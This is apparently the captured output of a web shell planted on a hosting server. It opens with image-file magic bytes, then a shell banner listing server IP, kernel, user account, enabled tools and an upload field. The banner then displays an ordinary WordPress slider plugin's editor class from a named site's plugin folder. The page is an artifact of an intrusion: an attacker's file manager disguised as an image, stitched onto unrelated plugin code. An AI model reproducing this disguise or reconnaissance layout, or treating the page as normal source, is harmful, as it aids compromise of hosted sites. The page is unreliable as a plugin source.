????JFIF??x?x????'
Server IP : 104.21.48.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/soliloquy-lite/includes/admin/ |
Upload File : |
<?php /** * Editor Class. * * @since 2.5.0 * @package SoliloquyWP Lite * @author SoliloquyWP Team <[email protected]> */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Soliloquy Editor * * @since 2.5.0 */ class Soliloquy_Editor_Lite { /** * Holds the class object. * * @since 1.0.0 * * @var object */ public static $instance; /** * Path to the file. * * @since 1.0.0 * * @var string */ public $file = __FILE__; /** * Holds the base class object. * * @since 1.0.0 * * @var object */ public $base; /** * Flag to determine if media modal is loaded. * * @since 1.0.0 * * @var object */ public $loaded = false; /** * Primary class constructor. * * @since 1.0.0 */ public function __construct() { // Load the base class object. $this->base = Soliloquy_Lite::get_instance(); // Add a custom media button to the editor. add_filter( 'media_buttons', [ $this, 'media_button' ] ); } /** * Adds a custom slider insert button beside the media uploader button. * * @since 1.0.0 * * @param string $buttons The media buttons context HTML. * @return string $buttons Amended media buttons context HTML. */ public function media_button( $buttons ) { // Create the media button. $button = '<style type="text/css">@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-o-min-device-pixel-ratio: 2/1),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx) { #soliloquy-media-modal-button .soliloquy-media-icon[style] { background-image: url(' . plugins_url( 'assets/css/images/[email protected]', $this->base->file ) . ') !important; background-size: 16px 16px !important; } }</style>'; $button .= '<a id="soliloquy-media-modal-button" href="#" class="button soliloquy-choose-slider" title="' . esc_attr__( 'Add Slider', 'soliloquy' ) . '" style="padding-left: .4em;"><span class="soliloquy-media-icon" style="background: transparent url(' . plugins_url( 'assets/css/images/editor-icon.png', $this->base->file ) . ') no-repeat scroll 0 0; width: 16px; height: 16px; display: inline-block; vertical-align: text-top;"></span> ' . __( 'Add Slider', 'soliloquy' ) . '</a>'; // Enqueue the script that will trigger the editor button. wp_enqueue_script( $this->base->plugin_slug . '-editor-script', plugins_url( 'assets/js/min/editor-min.js', $this->base->file ), [ 'jquery' ], $this->base->version, true ); wp_localize_script( $this->base->plugin_slug . '-editor-script', 'soliloquy_metabox', [ 'ajax' => admin_url( 'admin-ajax.php' ), 'load_nonce' => wp_create_nonce( 'soliloquy-load-slider' ), ] ); // Add the action to the footer to output the modal window. add_action( 'admin_footer', [ $this, 'slider_selection_modal' ] ); // Compat for Elementor. // @codingStandardsIgnoreStart // If Elementor UI is here, then we need to output this since there's no admin_footer if ( isset( $_GET['action'] ) && $_GET['action'] === 'elementor' ) { echo $this->get_slider_selection_modal(); } // @codingStandardsIgnoreEnd // Append the button. return $buttons . $button; } /** * Outputs the slider selection modal to insert a slider into an editor. * * @since 1.0.0 */ public function slider_selection_modal() { // @codingStandardsIgnoreStart echo $this->get_slider_selection_modal(); // @codingStandardsIgnoreEnd } /** * Returns the slider selection modal to insert a slider into an editor. * * @since 1.0.0 * * @global object $post The current post object. * @return string Empty string if no sliders are found, otherwise modal UI. */ public function get_slider_selection_modal() { // Return early if already loaded. if ( $this->loaded ) { return ''; } // Set the loaded flag to true. $this->loaded = true; global $post; $sliders = $this->base->get_sliders(); // Return early if no sliders are found. if ( empty( $sliders ) ) { return ''; } ob_start(); ?> <div class="soliloquy-default-ui-wrapper" style="display: none;"> <div class="soliloquy-default-ui soliloquy-image-meta"> <div class="media-modal wp-core-ui"> <a class="media-modal-close" href="#"><span class="media-modal-icon"></span> </a> <div class="media-modal-content"> <div class="media-frame wp-core-ui hide-menu hide-router soliloquy-meta-wrap"> <div class="media-frame-title"> <h1><?php esc_html_e( 'Choose Your Slider', 'soliloquy' ); ?></h1> </div> <div class="media-frame-content"> <div class="attachments-browser"> <ul class="soliloquy-meta attachments" style="padding-left: 8px; top: 1em;"> <?php foreach ( (array) $sliders as $slider ) : // Return early if no slider ID. if ( ! isset( $slider['id'] ) || ( isset( $post->ID ) && $post->ID === $slider['id'] ) ) { continue; } ?> <li class="attachment" data-soliloquy-id="<?php echo absint( $slider['id'] ); ?>" style="margin: 8px;"> <div class="attachment-preview"> <div class="thumbnail"> <div class="inside"> <?php if ( ! empty( $slider['config']['title'] ) ) { $title = $slider['config']['title']; } elseif ( ! empty( $slider['config']['slug'] ) ) { $title = $slider['config']['title']; } else { /* translators: %s: slider id */ $title = sprintf( __( 'Slider ID #%s', 'soliloquy' ), $slider['id'] ); } ?> <h3 style="margin: 0;"><?php echo esc_html( $title ); ?></h3> <code>[soliloquy id="<?php echo absint( $slider['id'] ); ?>"]</code> </div> </div> <a class="check" href="#"><div class="media-modal-icon"></div></a> </div> </li> <?php endforeach; ?> </ul> <!-- end .soliloquy-meta --> <div class="media-sidebar"> <div class="soliloquy-meta-sidebar"> <h3 style="margin: 1.4em 0 1em;"><?php esc_html_e( 'Helpful Tips', 'soliloquy' ); ?></h3> <strong><?php esc_html_e( 'Choosing Your Slider', 'soliloquy' ); ?></strong> <p style="margin: 0 0 1.5em;"><?php esc_html_e( 'To choose your slider, simply click on one of the boxes to the left. The "Insert Slider" button will be activated once you have selected a slider.', 'soliloquy' ); ?></p> <strong><?php esc_html_e( 'Inserting Your Slider', 'soliloquy' ); ?></strong> <p style="margin: 0 0 1.5em;"><?php esc_html_e( 'To insert your slider into the editor, click on the "Insert Slider" button below.', 'soliloquy' ); ?></p> </div> <!-- end .soliloquy-meta-sidebar --> </div> <!-- end .media-sidebar --> </div> <!-- end .attachments-browser --> </div> <!-- end .media-frame-content --> <div class="media-frame-toolbar"> <div class="media-toolbar"> <div class="media-toolbar-secondary"> <a href="#" class="soliloquy-cancel-insertion button media-button button-large button-secondary media-button-insert" title="<?php esc_attr_e( 'Cancel Slider Insertion', 'soliloquy' ); ?>"><?php esc_html_e( 'Cancel Slider Insertion', 'soliloquy' ); ?></a> </div> <div class="media-toolbar-primary"> <a href="#" class="soliloquy-insert-slider button media-button button-large button-primary media-button-insert" disabled="disabled" title="<?php esc_attr_e( 'Insert Slider', 'soliloquy' ); ?>"><?php esc_html_e( 'Insert Slider', 'soliloquy' ); ?></a> </div> <!-- end .media-toolbar-primary --> </div> <!-- end .media-toolbar --> </div> <!-- end .media-frame-toolbar --> </div> <!-- end .media-frame --> </div> <!-- end .media-modal-content --> </div> <!-- end .media-modal --> <div class="media-modal-backdrop"></div> </div><!-- end #soliloquy-default-ui --> </div><!-- end #soliloquy-default-ui-wrapper --> <?php return ob_get_clean(); } /** * Returns the singleton instance of the class. * * @since 1.0.0 * * @return object The Soliloquy_Editor_Lite object. */ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof Soliloquy_Editor_Lite ) ) { self::$instance = new Soliloquy_Editor_Lite(); } return self::$instance; } } // Load the editor class. $soliloquy_editor_lite = Soliloquy_Editor_Lite::get_instance();